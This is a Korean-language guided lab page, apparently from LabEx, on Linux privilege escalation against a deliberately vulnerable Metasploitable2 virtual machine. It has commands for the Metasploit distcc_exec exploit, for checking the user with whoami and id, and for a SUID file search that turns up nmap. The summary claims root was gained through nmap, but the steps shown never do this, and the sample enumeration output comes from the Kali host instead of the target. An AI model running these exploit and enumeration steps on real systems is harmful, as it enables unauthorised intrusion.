Nmap 을 활용한 Linux 머신 권한 상승

NmapBeginner
지금 연습하기

소개

이 랩에서는 비 root 사용자로 성공적으로 접근한 후 Linux 머신에서 권한 상승 (privilege escalation) 을 수행하는 방법을 배우게 됩니다. Windows 권한 상승에 대한 많은 튜토리얼이 온라인에서 제공되지만, 이 랩은 특히 Linux 운영 체제에서 권한을 상승시키는 데 중점을 둡니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 100%입니다.학습자들로부터 95%의 긍정적인 리뷰율을 받았습니다.

환경 준비

이 단계에서는 Kali Linux 컨테이너와 Metasploitable2 가상 머신을 포함하여 랩 환경의 필수 구성 요소를 시작합니다.

  1. 터미널에서 다음 명령을 실행하여 Metasploitable2 가상 머신을 시작합니다.
sudo virsh start Metasploitable2

대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 소요될 수 있습니다.

  1. target 호스트 이름을 ping 하여 가상 머신이 시작되었는지 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

  1. Kali Linux 컨테이너를 시작하고 bash 쉘에 들어갑니다.
docker run -ti --network host b5b709a49cd5 bash
  1. Kali 컨테이너 내에서 target 호스트 이름을 ping 하여 네트워크 연결을 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

대상 머신에 대한 초기 접근 권한 획득

이 단계에서는 Kali 컨테이너에서 Metasploit Framework (MSF) 를 사용하여 Metasploitable2 대상 머신에 대한 초기 접근 권한을 얻습니다.

  1. Kali 컨테이너 내에서 Metasploit 콘솔을 시작합니다.
cd ~
msfconsole
  1. Metasploit 콘솔 내에서 distcc_exec 익스플로잇 모듈을 사용합니다.
use exploit/unix/misc/distcc_exec
  1. 대상 호스트 IP 주소를 설정합니다.
set RHOST 192.168.122.102
  1. 익스플로잇을 실행하여 대상 머신에 대한 접근 권한을 얻습니다.
exploit

성공적인 익스플로잇 후, 명령 쉘 세션이 열리는 것을 볼 수 있으며, 이는 대상 머신에 대한 접근 권한을 얻었음을 나타냅니다.

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

현재 사용자 권한 확인

초기 접근 권한을 얻은 후, 추가적인 권한 상승이 필요한지 여부를 결정하기 위해 현재 사용자의 권한을 확인해야 합니다.

  1. 우선, Metasploit 콘솔에 있지 않은 경우 Metasploit 콘솔을 시작해야 합니다.
cd ~
msfconsole
  1. 현재 사용자를 확인합니다.
whoami
  1. 사용자 ID 및 그룹 정보를 확인합니다.
id

사용자 ID 가 0 (root) 이 아닌 경우, 관리자 권한을 얻기 위해 권한을 상승시켜야 합니다.

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

시스템 정보 열거

권한 상승을 시도하기 전에, 잠재적인 취약점을 식별하기 위해 대상 시스템에 대한 정보를 수집해야 합니다.

  1. 우선, Metasploit 콘솔에 있지 않은 경우 Metasploit 콘솔을 시작해야 합니다.
cd ~
msfconsole
  1. Linux 배포판 버전을 확인합니다.
lsb_release -a

다음은 볼 수 있는 출력의 예입니다.

[*] exec: lsb_release -a

No LSB modules are available.
Distributor ID: Kali
Description:    Kali GNU/Linux Rolling
Release:        2023.2
Codename:       kali-rolling
  1. 커널 버전을 확인합니다.
uname -a

다음은 볼 수 있는 출력의 예입니다.

Linux iZj6ceecakbzgu9eomquhhZ 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64 GNU/Linux
  1. 권한 상승에 악용될 수 있는 SUID 파일을 찾습니다.
find / -perm -u=s -type f 2> /dev/null

출력에서 /usr/bin/nmap 바이너리를 볼 수 있습니다. 이 바이너리는 이전 버전에서 알려진 권한 상승 취약점을 가지고 있습니다. Ctrl+C를 눌러 종료합니다.

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

요약

이 랩에서는 비 루트 (non-root) 사용자로 초기 접근 권한을 얻은 후 Linux 머신에서 권한 상승을 수행하는 방법을 배웠습니다. 먼저 Kali Linux 컨테이너와 Metasploitable2 가상 머신으로 LabEx 환경을 설정했습니다. 그런 다음 Metasploit Framework 를 사용하여 Distcc 취약점을 악용하고 대상 머신에 대한 초기 접근 권한을 얻었습니다.

루트 사용자가 아님을 확인한 후, Linux 배포판 버전, 커널 버전 및 SUID 파일과 같은 대상 시스템에 대한 정보를 수집했습니다. Nmap 바이너리를 잠재적인 취약점으로 식별하고 이를 악용하여 권한을 루트로 상승시켰습니다.

이 랩을 완료함으로써, 사이버 보안 분야에서 중요한 기술인 Linux 시스템에서 권한 상승 프로세스에 대한 실질적인 경험을 얻었습니다. 또한 시스템 열거 및 악용을 위한 다양한 Linux 명령을 사용하는 방법과 소프트웨어의 취약점을 활용하여 권한을 상승시키는 방법도 배웠습니다.